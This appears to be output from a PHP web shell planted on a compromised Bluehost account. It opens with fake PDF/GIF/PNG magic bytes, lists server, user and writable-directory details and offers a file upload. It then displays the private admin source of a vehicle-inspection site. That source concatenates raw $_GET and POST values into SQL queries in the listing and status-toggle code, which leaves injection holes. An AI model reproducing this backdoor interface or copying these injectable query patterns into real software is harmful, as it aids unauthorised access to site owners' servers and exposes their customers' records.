%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_93b53270/admin/manage_inspection/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_93b53270/admin/manage_inspection/show copy 2.php
<?php 
include("../function.php");
if($_SESSION['admin_id']==""){
    header('location:../login.php');
}
$login_tbl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM admin WHERE admin_id='".$_SESSION['admin_id']."'"));

include('../include/sidebar.php');

// ini_set('display_errors', 1);
// ini_set('display_startup_errors', 1);
// error_reporting(E_ALL);

?>

<!-- [ Main Content ] start -->
<div class="pcoded-main-container">
    <div class="pcoded-content">

        <!-- [ breadcrumb ] start -->
        <div class="page-header">
            <div class="page-block">
                <div class="row align-items-center">
                    <div class="col-md-12">
                        <div class="page-header-title">
<div class="card-header d-flex justify-content-between">
<button class="btn btn-light text-dark fw-bold btn-sm btn-round has-ripple"><i class="feather icon-check-square"></i>&nbsp; Manage Inspections </button>
</div>
                            
                        </div>
                    
                    </div>
                </div>
            </div>
        </div>
        <!-- [ breadcrumb ] end -->

        <!-- [ Main Content ] start -->
<div class="row">
<!-- [ col-md-12 ] start -->
<form method="post" action="">
<div class="col-md-12">
<div class="card">
<div class="card-header d-flex justify-content-between">
<h5>Manage Inspections</h5>
<div>

<a href="add_edit.php?page=inspec" class="btn btn-info btn-sm btn-round has-ripple text-white"><i class="feather icon-plus"></i>Add</a>
<input class="btn btn-danger btn-sm btn-round has-ripple" type="submit" value="Delete" name='but_delete' onclick="return confirm('Are you sure to delete the record?');">
<!-- <input class="btn btn-success btn-sm btn-round has-ripple" type="submit" value="Active" name='but_active'>
<input class="btn btn-secondary btn-sm btn-round has-ripple" type="submit" value="Deactive" name='but_deactive'> -->

</div>
</div>

<div class="card-body">

<?php if(isset($_SESSION['message'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong class="text-dark">'.$_SESSION['message'].'  &nbsp;<i class="feather icon-thumbs-up text-success"></i></strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['message']); 
?> 

<?php if(isset($_SESSION['error'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong class="text-dark">'.$_SESSION['error'].' &nbsp;<i class="feather icon-thumbs-up text-danger"></i></strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['error']); 
?> 

<?php if(isset($_SESSION['delete'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong class="text-dark">'.$_SESSION['delete'].'&nbsp; <i class="feather icon-trash-2 text-danger"></i></strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['delete']); 
?>     

                            <div class="table-responsive">
                                <table id="report-table" class="table table-bordered table-striped mb-0">
                                    <thead>
                                        <tr>
                                            <th><input type="checkbox" id="some1" data-check-pattern="[name^='delete']" /></th>
                                            <th>Sr.no</th>
                                            <th>Chassis No.</th>
                                            <th>Owner Name</th>
                                            <th>Our Details </th>
                                            <th>Action </th>
                                        </tr>
                                    </thead>
                                    <tbody>
                                        <?php
                                        if(!empty($_GET['user_id'])){
                                            $query=mysqli_query($conn,"SELECT * FROM `inspection_tbl` WHERE user_id='".$_GET['user_id']."' ORDER BY ID DESC");
                                        }else{
                                            $query=mysqli_query($conn,"SELECT * FROM `inspection_tbl` ORDER BY ID DESC");
                                        }
                                            $n=1;
                                            while($fetch_row=mysqli_fetch_array($query)){ 
                                        ?>
                                        <tr>
                                            <td><input type='checkbox' name='delete[]' value="<?=$fetch_row['id']; ?>"></td>
                                            <td><?=$n; $n++; ?></td>
                                            <td><?=$fetch_row['chassis_number'];?></td>
                                            <td><?=$fetch_row['owner_name'];?></td>
                                            <td>
                                            <strong> Year Manufacture - </strong><?=$fetch_row['year_of_manufacture'];?><br>
                                            <strong> Car Model - </strong><?=$fetch_row['car_name_model'];?><br>
                                            <strong> Number Plate - </strong><?=$fetch_row['number_plate'];?>
                                            </td>
                                            <td>
                                                <!-- <?php if($fetch_row['status']==0){ ?>
                                                <a class="btn btn-secondary btn-sm">Pending</a>
                                                <?php } if($fetch_row['status']==1){ ?>
                                                <a class="btn btn-success btn-sm">Success</a>
                                                <?php } if($fetch_row['status']==2){ ?>
                                                <a class="btn btn-danger btn-sm">Cancel</a>
                                                <?php } ?>&nbsp; -->

                                            <?php echo '<a href="add_edit.php?page=inspec&&chassis_number='.$fetch_row['chassis_number'].'&&user_id='.$fetch_row['user_id'].'" class="btn btn-primary btn-sm">Edit</a>'; ?>
                                            <a href="show.php?page=inspec&&delete_id=<?=$fetch_row['id']?>" onclick="return confirm('Are you sure to delete the record?');" class="btn btn-danger btn-sm"><i class="feather icon-trash-2"></i></a>
                                            </td>
                                        </tr>

                                        <?php } ;?>


                                    </tbody>
                                </table>
                            </div>



                    </div>
                </div>
            </div>
            </form>
            <!-- col-md-12 end -->
        </div>
        <!-- [ Main Content ] end -->
    </div>
</div>

<?php include('../include/footer.php'); ?> 

<?php
if(!empty($_GET['status_id'])){
$id=$_GET['status_id'];
$stsQry=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `inspection_tbl` WHERE id ='$id'"));
if($stsQry['status']==0){
$updtQry=mysqli_query($conn,"UPDATE `inspection_tbl` SET `status`='1' WHERE id='$id'")or die(mysqli_error($conn));
if($updtQry){
echo "<script>window.location='show.php?page=inspec';</script>";
$_SESSION['message']="Record Activated Successfully";
   }
 }
elseif($stsQry['status']==1){
$updtQry=mysqli_query($conn,"UPDATE `inspection_tbl` SET `status`='0' WHERE id='$id'")or die(mysqli_error($conn));
if($updtQry){
echo "<script>window.location='show.php?page=inspec';</script>";
$_SESSION['error']="Record Inactivated Successfully";
    }
  }

 }

?>

<?php
// Deleting a single inspection record
if (!empty($_GET['delete_id'])) {
    $inspectionId = intval($_GET['delete_id']); // Sanitize input to prevent SQL injection
    $inspectionQuery = mysqli_query($conn, "SELECT * FROM inspection_tbl WHERE id=$inspectionId");

    if ($inspectionRow = mysqli_fetch_array($inspectionQuery)) {
        // Fetch user details based on the inspection record
        $userQuery = mysqli_query($conn, "SELECT * FROM user_tbl WHERE user_id='" . $inspectionRow['user_id'] . "'");
        $userRow = mysqli_fetch_array($userQuery);
        
        // Construct the target directory path
        $sanitizedUserName = str_replace(' ', '-', $userRow['name']);
        $targetDirectory = "../../images/Upload/inspections/" . $sanitizedUserName . $userRow['id'] . $inspectionId;

        // Call the deleteDirectory function to remove the directory
        deleteDirectory($targetDirectory);
        
        // Delete related records from the database
        mysqli_query($conn, "DELETE FROM inpection_detail_tbl WHERE inspection_id=$inspectionId");
        mysqli_query($conn, "DELETE FROM inpection2_detail_tbl WHERE inspection_id=$inspectionId");
        $deleteInspectionQuery = mysqli_query($conn, "DELETE FROM inspection_tbl WHERE id=$inspectionId");
        
        if ($deleteInspectionQuery) {
            $_SESSION['delete'] = "Record Deleted Successfully";
            echo "<script>window.location='show.php?page=inspec';</script>";
        } else {
            echo "Error deleting the inspection record.";
        }
    } else {
        echo "Inspection record not found.";
    }
}

// Function to delete a directory and its contents
function deleteDirectory($dir) {
    if (!is_dir($dir)) {
        return false; // Not a directory
    }

    // Remove all files and subdirectories
    $files = array_diff(scandir($dir), ['.', '..']);
    foreach ($files as $file) {
        $filePath = "$dir/$file";
        if (is_dir($filePath)) {
            deleteDirectory($filePath); // Recursively delete subdirectories
        } else {
            unlink($filePath); // Delete files
        }
    }

    return rmdir($dir); // Remove the now-empty directory
}
?>

<?php 
// Deleting multiple inspection records
if (isset($_POST['but_delete'])) {
    if (isset($_POST['delete'])) {
        foreach ($_POST['delete'] as $inspectionId) {
            $inspectionId = intval($inspectionId); // Sanitize input

            // Fetch the inspection record
            $inspectionQuery = mysqli_query($conn, "SELECT * FROM `inspection_tbl` WHERE id=$inspectionId");
            if ($inspectionRow = mysqli_fetch_array($inspectionQuery)) {
                // Fetch user details based on the inspection record
                $userQuery = mysqli_query($conn, "SELECT * FROM `user_tbl` WHERE user_id='" . $inspectionRow['user_id'] . "'");
                $userRow = mysqli_fetch_array($userQuery);

                // Construct the target directory path
                $sanitizedUserName = str_replace(' ', '-', $userRow['name']);
                $targetDirectory = "../../images/Upload/inspections/" . $sanitizedUserName . $userRow['id'] . $inspectionId;

                // Check if the directory exists and delete it
                if (is_dir($targetDirectory)) {
                    deleteDirectory($targetDirectory);
                }

                // Prepare delete queries
                $deleteInspectionDetails = "DELETE FROM `inpection_detail_tbl` WHERE inspection_id=$inspectionId";
                $deleteInspection2Details = "DELETE FROM `inpection2_detail_tbl` WHERE inspection_id=$inspectionId";
                $deleteInspection = "DELETE FROM `inspection_tbl` WHERE id=$inspectionId";

                // Execute delete queries
                mysqli_query($conn, $deleteInspectionDetails);
                mysqli_query($conn, $deleteInspection2Details);
                mysqli_query($conn, $deleteInspection);
            }
        }
        
        $_SESSION['delete'] = "All Records Deleted Successfully";
        echo "<script>window.location='show.php?page=inspec';</script>";
    }
}
?>


<?php 
if(isset($_POST['but_active'])){
if(isset($_POST['delete'])){
foreach($_POST['delete'] as $deleteid){
$deleteUser =  "UPDATE `inspection_tbl` SET `status`='1' WHERE id=".$deleteid;
mysqli_query($conn,$deleteUser);
echo "<script>window.location='show.php?page=inspec';</script>";
$_SESSION['message']="All Record Activated Successfully";
}
}
 
}
?>

<?php 
if(isset($_POST['but_deactive'])){
if(isset($_POST['delete'])){
foreach($_POST['delete'] as $deleteid){
$deleteUser =  "UPDATE `inspection_tbl` SET `status`='0' WHERE id=".$deleteid;
mysqli_query($conn,$deleteUser);
}
echo "<script>window.location='show.php?page=inspec';</script>";
$_SESSION['error']="All Record Inactivated Successfully";
}
 
}
?>



VaKeR 2022